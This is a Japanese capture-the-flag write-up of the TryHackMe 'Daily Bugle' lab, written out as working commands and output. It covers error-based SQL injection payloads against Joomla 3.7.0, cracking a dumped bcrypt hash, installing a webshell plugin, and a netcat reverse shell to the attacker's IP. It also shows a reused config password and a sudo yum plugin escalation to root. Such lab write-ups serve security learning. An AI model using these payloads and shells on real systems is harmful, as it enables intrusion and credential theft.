TryHackMeのDaily Bugleのwriteupおよびメモ。
数日間に渡り取り組んだため、標的マシンのIPアドレスがちょいちょい変わっているのはご愛嬌。
Task 1: Deploy
Access the web server, who robbed the bank?
http://<target IP address>
にブラウザでアクセスすると、DAILY BUGLEというニュースサイトの記事が現れた。
以下はニュース記事より抜粋。
The criminal we call "Spider-Man" is back at it, clearly as seen in the image, Spider-Man is nothing more than a criminal, and I have proof, Sure he saves people all the time for free with nothing in return, but a media company like this always has to exist.
答えはspiderman
。(Spider-Manではない。ハイフンはなし。紛らわしい。)
Task2: Obtain user and root
What is the Joomla version?
手始めにnmap
を走らせてみた。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ nmap -A 10.10.175.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-19 10:09 EDT
Nmap scan report for 10.10.175.28
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
| 256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_ 256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
3306/tcp open mysql MariaDB (unauthorized)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.95 seconds
上記より以下のことが読み取れる。
- WebサーバーにApache 2.4.6を使用している。
- SSHサーバーにOpenSSH 7.4を使用している。
- データベースにMySQLを使用している。
さらにrobots.txt
のdisallowedリストにJoomla関連のディレクトリが指定されていた。
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
ググってみたところ、/administrator/manifests/files/joomla.xml
にアクセスすればJoomlaのバージョンが分かるらしい。
以下は/administrator/manifests/files/joomla.xml
の内容。
<extension version="3.6" type="file" method="upgrade">
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>
(C) 2005 - 2017 Open Source Matters. All rights reserved
</copyright>
<license>
GNU General Public License version 2 or later; see LICENSE.txt
</license>
<version>3.7.0</version>
<creationDate>April 2017</creationDate>
<description>FILES_JOOMLA_XML_DESCRIPTION</description>
<scriptfile>administrator/components/com_admin/script.php</scriptfile>
<update>
<schemas>
</schemas>
</update>
<fileset>
<files>
<folder>administrator</folder>
<folder>bin</folder>
<folder>cache</folder>
<folder>cli</folder>
<folder>components</folder>
<folder>images</folder>
<folder>includes</folder>
<folder>language</folder>
<folder>layouts</folder>
<folder>libraries</folder>
<folder>media</folder>
<folder>modules</folder>
<folder>plugins</folder>
<folder>templates</folder>
<folder>tmp</folder>
<file>htaccess.txt</file>
<file>web.config.txt</file>
<file>LICENSE.txt</file>
<file>README.txt</file>
<file>index.php</file>
</files>
</fileset>
<updateservers>
<server name="Joomla! Core" type="collection">https://update.joomla.org/core/list.xml</server>
</updateservers>
</extension>
<version>3.7.0</version>
より、使用しているJoomlaのバージョンは3.7.0と判明した。
What is Jonah's cracked password?
公式のヒントによると、SQLインジェクションとJohn The Ripperを用いてパスワードをクラックせよとのこと。
先の設問で/administrator/manifests/files/joomla.xml
を覗いた際にadministrator
というフォルダ名を発見したので、http://<target IP address>/administrator
にアクセスしたところ、Joomla管理者用のログインページが現れた。
定番のユーザー名とパスワード (admin:admin
)でログインできるか試してみたが、ダメだった。
ほかにも単純なSQLインジェクションのペイロード (' or '1' = '1' /*
等)をログインフォームに送ってみたが、こちらもダメだった。
searchsploit
でJoomlaバージョン3.7.0に使えるエクスプロイトがないか確認してみた。
┌──(kali㉿kali)-[~]
└─$ searchsploit Joomla 3.7
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Joomla! 3.7 - SQL Injection | php/remote/44227.php
Joomla! 3.7.0 - 'com_fields' SQL Injection | php/webapps/42033.txt
Joomla! Component ARI Quiz 3.7.4 - SQL Injection | php/webapps/46769.txt
Joomla! Component com_realestatemanager 3.7 - SQL Injection | php/webapps/38445.txt
Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting | php/webapps/43488.txt
Joomla! Component J2Store < 3.3.7 - SQL Injection | php/webapps/46467.txt
Joomla! Component JomEstate PRO 3.7 - 'id' SQL Injection | php/webapps/44117.txt
Joomla! Component Jtag Members Directory 5.3.7 - Arbitrary File Download | php/webapps/43913.txt
Joomla! Component Quiz Deluxe 3.7.4 - SQL Injection | php/webapps/42589.txt
いくつか使えそうなエクスプロイトが見つかった。
試しにphp/remote/44227.php
を使用することにした。まずはphp/remote/44227.php
の所在を確認。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ sudo find / -name 44227.php 2>/dev/null
/usr/share/exploitdb/exploits/php/remote/44227.php
44227.php
は入力フォームに指定された標的マシンに対してSQLインジェクションを行うスクリプトである。
44227.php
をKali Linuxのドキュメントルートにコピーして、http://localhost/44227.php
にアクセスし、入力フォームに標的マシンのIPアドレスを入力してエクスプロイトを実行したが、何も起きなかった。
仕方がないので、44227.php
に記載されているSQLインジェクションのペイロードを手直ししつつ、手動で実行することにした。
以下のクエリはデータベースのテーブル名をHex形式で抽出する。
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,extractvalue(0x0a,concat(0x0a,(select/**/concat(0x7e7e7e,hex(table_name),0x7e7e7e)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1)))=1
以下はサーバーからの応答。
XPATH syntax error: ' ~~~6662396A355F617373657473~~~'
$ echo -n 6662396A355F617373657473 | xxd -r -p
fb9j5_assets
テーブル名はfb9j5
と判明した。
以下のクエリはfb9j5_users
からユーザー名 (先頭20文字まで)を抽出する。
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,extractvalue(0x0a,concat(0x0a,(select/**/concat(0x7e7e7e,substring(username,1,20),0x7e7e7e)/**/from/**/fb9j5_users/**/limit/**/0,1)))=1
以下はサーバーからの応答。
XPATH syntax error: ' ~~~jonah~~~'
ユーザー名jonah
を確認できた。
以下のクエリはfb9j5_users
からパスワードの先頭70文字を抽出する。
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,extractvalue(0x0a,concat(0x0a,(select/**/substring(password,1,70)/**/from/**/fb9j5_users/**/limit/**/0,1)))=1
以下はサーバーからの応答。
XPATH syntax error: ' $2y$10$0veO/JSFh4389Lluc4Xya.df'
どうやらパスワードはハッシュ化されている模様。
$2y$10$0veO/JSFh4389Lluc4Xya.df
をJohn The Ripperでクラックしようとしたが失敗した。
色々試したところ、どうやら$2y$10$0veO/JSFh4389Lluc4Xya.df
は完全なハッシュ値ではないらしいことが分かった。
先のクエリでパスワードの先頭70文字を抽出するよう指定したが、実際に応答されたのは31文字だった。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ echo -n '$2y$10$0veO/JSFh4389Lluc4Xya.df' | wc -c
31
どうやらサーバーから一度に応答できる文字数は限られている模様。
別のクエリを送って、ハッシュ値の残りを取得することにした。
以下のクエリはfb9j5_users
からパスワード (ハッシュ値)の32文字目から70文字目を抽出する。
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,extractvalue(0x0a,concat(0x0a,(select/**/substring(password,32,70)/**/from/**/fb9j5_users/**/limit/**/0,1)))=1
以下はサーバーからの応答。
XPATH syntax error: ' y2MF.bZhz0jVMw.V.d3p12kBtZutm'
┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ echo -n 'y2MF.bZhz0jVMw.V.d3p12kBtZutm' | wc -c
29
29文字のハッシュ値が応答された。
先のクエリの結果と合わせると、完全なハッシュ値は$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
となる。
ハッシュ値をJohn The Ripperでクラックしたところ、パスワードはspiderman123
と判明した。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ cat hash.txt
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spiderman123 (?)
1g 0:00:03:40 DONE (2024-03-24 10:18) 0.004537g/s 212.5p/s 212.5c/s 212.5C/s thelma1..speciala
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
What is the user flag?
せっかく前回の設問でユーザーの認証情報を入手したのに、何故か自分は当初、「SQLインジェクション攻撃でフラグを入手する!」という考えに囚われていて、引き続きSQLインジェクション攻撃による情報漏洩を試みていた。
しかし、一向に上手くいかず、ようやく入手したユーザーの認証情報を活用するという考えに思い至った。
Joomlaの管理者用ログインページhttp://<target IP address>/administrator
にアクセスし、入手したユーザー認証情報 (Jonah:spiderman123
)を入力したところ、管理者としてログインできた。
管理者用コンソールを一通りチェックしてみたが、フラグらしき情報は見つからなかった。
なので、webサーバー侵害の定番、webshellをアップロードして、そこからコマンドを実行してみることにした。
最初は画像のアップロードページから自前の簡単なwebshellをアップロードしようとしたのだが、どうやら画像ファイル以外はアップロードできないようだった。
「Joomla webshell」でググってみたところ、Joomla用のwebshellプラグインを発見したので、これを利用することにした。
以下はアップロードの手順。
まずはwebshellプラグインをKali Linuxにダウンロード。
git clone https://github.com/p0dalirius/Joomla-webshell-plugin.git
┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle/Joomla-webshell-plugin]
└─$ ls -la
total 44
drwxr-xr-x 7 kali kali 4096 Mar 26 09:54 .
drwxr-xr-x 3 kali kali 4096 Mar 26 09:54 ..
-rwxr-xr-x 1 kali kali 4756 Mar 26 09:51 console.py
drwxr-xr-x 2 kali kali 4096 Mar 26 09:51 dist
drwxr-xr-x 8 kali kali 4096 Mar 26 09:51 .git
drwxr-xr-x 2 kali kali 4096 Mar 26 09:51 .github
-rw-r--r-- 1 kali kali 352 Mar 26 09:51 Makefile
drwxr-xr-x 4 kali kali 4096 Mar 26 09:51 plugin
-rw-r--r-- 1 kali kali 3624 Mar 26 09:51 README.md
drwxr-xr-x 2 kali kali 4096 Mar 26 09:51 test_env
┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle/Joomla-webshell-plugin]
└─$ ls -la plugin
total 24
drwxr-xr-x 4 kali kali 4096 Mar 26 09:51 .
drwxr-xr-x 7 kali kali 4096 Mar 26 09:54 ..
drwxr-xr-x 3 kali kali 4096 Mar 26 09:51 language
-rw-r--r-- 1 kali kali 2815 Mar 26 09:51 mod_webshell.php
-rw-r--r-- 1 kali kali 1395 Mar 26 09:51 mod_webshell.xml
drwxr-xr-x 2 kali kali 4096 Mar 26 09:51 tmpl
webshellプラグインの関連ファイルはplugin
ディレクトリに配置されているので、plugin
ディレクトリを丸ごとZIP圧縮し、Joomlaの管理コンソールからアップロードする。(Control Panel -> Install Extensions )
Manageよりプラグインがインストールされたことを確認。
HTTPのGETリクエスト経由でwebshellにコマンドを送る場合は、以下のようにする。
http://<target server>/modules/mod_webshell/mod_webshell.php?action=exec&cmd=<your command>
試しにwhoami
コマンドを送ってみた。
/modules/mod_webshell/mod_webshell.php?action=exec&cmd=whoami
以下はサーバーからの応答。現在のユーザー名はapache
であることが判明した。
{"stdout":"apache\n","stderr":"","exec":"whoami"}
このままでもコマンドは実行できるが、GETリクエストにひとつずつコマンドを乗せていくのは面倒なので、webshellからReverse shellを起動して、以降のコマンドはReverse shell経由で実行することにした。
まずはKali Linuxの1234番ポートでReverse shellから接続を待ち受ける。
nc -lvp 1234
続いて、webshellからKali Linuxに対してReverse shellを張る。
http://<target server>/modules/mod_webshell/mod_webshell.php?action=exec&cmd=nc -nv 10.9.221.71 1234 -e /bin/sh
Reverse shell経由で標的マシンに対してコマンドが実行できるようになった。
┌──(kali㉿kali)-[~/Documents/TryHackMe/Daily_Bugle]
└─$ nc -lvp 1234
listening on [any] 1234 ...
10.10.9.62: inverse host lookup failed: Unknown host
connect to [10.9.221.71] from (UNKNOWN) [10.10.9.62] 49044
id
uid=48(apache) gid=48(apache) groups=48(apache)
whoami
apache
/home
以下にjjameson
というディレクトリを発見したが、jjameson
(とroot
)のみが閲覧可能となっていた。
ls -l /home
total 0
drwx------. 2 jjameson jjameson 99 Dec 15 2019 jjameson
su jjameson
でjjameson
に切り替わろうとしたが、認証パスワードがspiderman123
とは異なったため、切り替われなかった。
過去のwriteupを振り返りつつ、権限昇格に利用できそうなコマンドなりファイルなりが無いか確認してみたが、利用できそうなものはなかった。
ここで行き詰ってしまったので、他所のwriteupを覗いてみた。
どうやら/var/www/html/configuration.php
に手掛かりがあるらしい。
cd /var/www/html
ls -la
total 64
drwxr-xr-x. 17 apache apache 4096 Dec 14 2019 .
drwxr-xr-x. 4 root root 33 Dec 14 2019 ..
-rwxr-xr-x. 1 apache apache 18092 Apr 25 2017 LICENSE.txt
-rwxr-xr-x. 1 apache apache 4494 Apr 25 2017 README.txt
drwxr-xr-x. 11 apache apache 159 Apr 25 2017 administrator
drwxr-xr-x. 2 apache apache 44 Apr 25 2017 bin
drwxr-xr-x. 2 apache apache 24 Apr 25 2017 cache
drwxr-xr-x. 2 apache apache 119 Apr 25 2017 cli
drwxr-xr-x. 19 apache apache 4096 Apr 25 2017 components
-rw-r--r-- 1 apache apache 1982 Dec 14 2019 configuration.php
-rwxr-xr-x. 1 apache apache 3005 Apr 25 2017 htaccess.txt
drwxr-xr-x. 5 apache apache 164 Dec 15 2019 images
drwxr-xr-x. 2 apache apache 64 Apr 25 2017 includes
-rwxr-xr-x. 1 apache apache 1420 Apr 25 2017 index.php
drwxr-xr-x. 4 apache apache 54 Apr 25 2017 language
drwxr-xr-x. 5 apache apache 70 Apr 25 2017 layouts
drwxr-xr-x. 11 apache apache 255 Apr 25 2017 libraries
drwxr-xr-x. 26 apache apache 4096 Apr 25 2017 media
drwxr-xr-x. 28 apache apache 4096 Apr 1 08:26 modules
drwxr-xr-x. 16 apache apache 250 Apr 25 2017 plugins
-rwxr-xr-x. 1 apache apache 836 Apr 25 2017 robots.txt
drwxr-xr-x. 5 apache apache 68 Dec 15 2019 templates
drwxr-xr-x. 2 apache apache 24 Apr 1 08:26 tmp
-rwxr-xr-x. 1 apache apache 1690 Apr 25 2017 web.config.txt
cat configuration.php
<?php
class JConfig {
public $offline = '0';
public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'The Daily Bugle';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'root';
public $password = 'nv5uz9r3ZEDzVjNu';
public $db = 'joomla';
public $dbprefix = 'fb9j5_';
public $live_site = '';
public $secret = 'UAMBRWzHO3oFPmVC';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy/index.php?keyref=Help{major}{minor}:{keyref}';
public $ftp_host = '127.0.0.1';
public $ftp_port = '21';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail';
public $mailfrom = 'jonah@tryhackme.com';
public $fromname = 'The Daily Bugle';
public $sendmail = '/usr/sbin/sendmail';
public $smtpauth = '0';
public $smtpuser = '';
public $smtppass = '';
public $smtphost = 'localhost';
public $smtpsecure = 'none';
public $smtpport = '25';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $cache_platformprefix = '0';
public $MetaDesc = 'New York City tabloid newspaper';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '1';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $feed_email = 'none';
public $log_path = '/var/www/html/administrator/logs';
public $tmp_path = '/var/www/html/tmp';
public $lifetime = '15';
public $session_handler = 'database';
public $shared_session = '0';
}
configuration.php
にnv5uz9r3ZEDzVjNu
というパスワードがハードコードされていた。
su jjameson
を実行し、パスワードにnv5uz9r3ZEDzVjNu
を指定したところ、jjameson
に切り替われた。
su jjameson
nv5uz9r3ZEDzVjNu
whoami
jjameson
id
uid=1000(jjameson) gid=1000(jjameson) groups=1000(jjameson)
/home/jjameson
にuser.txt
というファイルを発見した。このファイルにフラグが記載されていた。
cd /home/jjameson
ls -la
total 16
drwx------. 2 jjameson jjameson 99 Dec 15 2019 .
drwxr-xr-x. 3 root root 22 Dec 14 2019 ..
lrwxrwxrwx 1 jjameson jjameson 9 Dec 14 2019 .bash_history -> /dev/null
-rw-r--r--. 1 jjameson jjameson 18 Aug 8 2019 .bash_logout
-rw-r--r--. 1 jjameson jjameson 193 Aug 8 2019 .bash_profile
-rw-r--r--. 1 jjameson jjameson 231 Aug 8 2019 .bashrc
-rw-rw-r-- 1 jjameson jjameson 33 Dec 15 2019 user.txt
cat user.txt
27a260fe3cba712cfdedb1c86d<REDACTED>
What is the root flag?
sudo -l
を叩いてみた。
sudo -l
Matching Defaults entries for jjameson on dailybugle:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User jjameson may run the following commands on dailybugle:
(ALL) NOPASSWD: /usr/bin/yum
jjameson
がsudo
付きで実行できるコマンドはyum
のみだった。
yum
をsudo
付きで実行できる場合、シェルをroot権限で起動できるらしい。
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
echo $TF
/tmp/tmp.wfmOyGiQEy
ls $TF
x
y.conf
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y
Loaded plugins: y
No plugin match for: y
whoami
root
GTFOBinsで紹介されていたコマンドをコピペしたところ、シェルがroot権限で起動した。
先の設問でユーザーのフラグがuser.txt
に記載されていたのを受けて、決め打ちでroot.txt
というファイルを探してみたところ、/root/root.txt
を発見した。
find / -name root.txt 2>/dev/null
/root/root.txt
cat /root/root.txt
eec3d53292b1821868266858<REDACTED>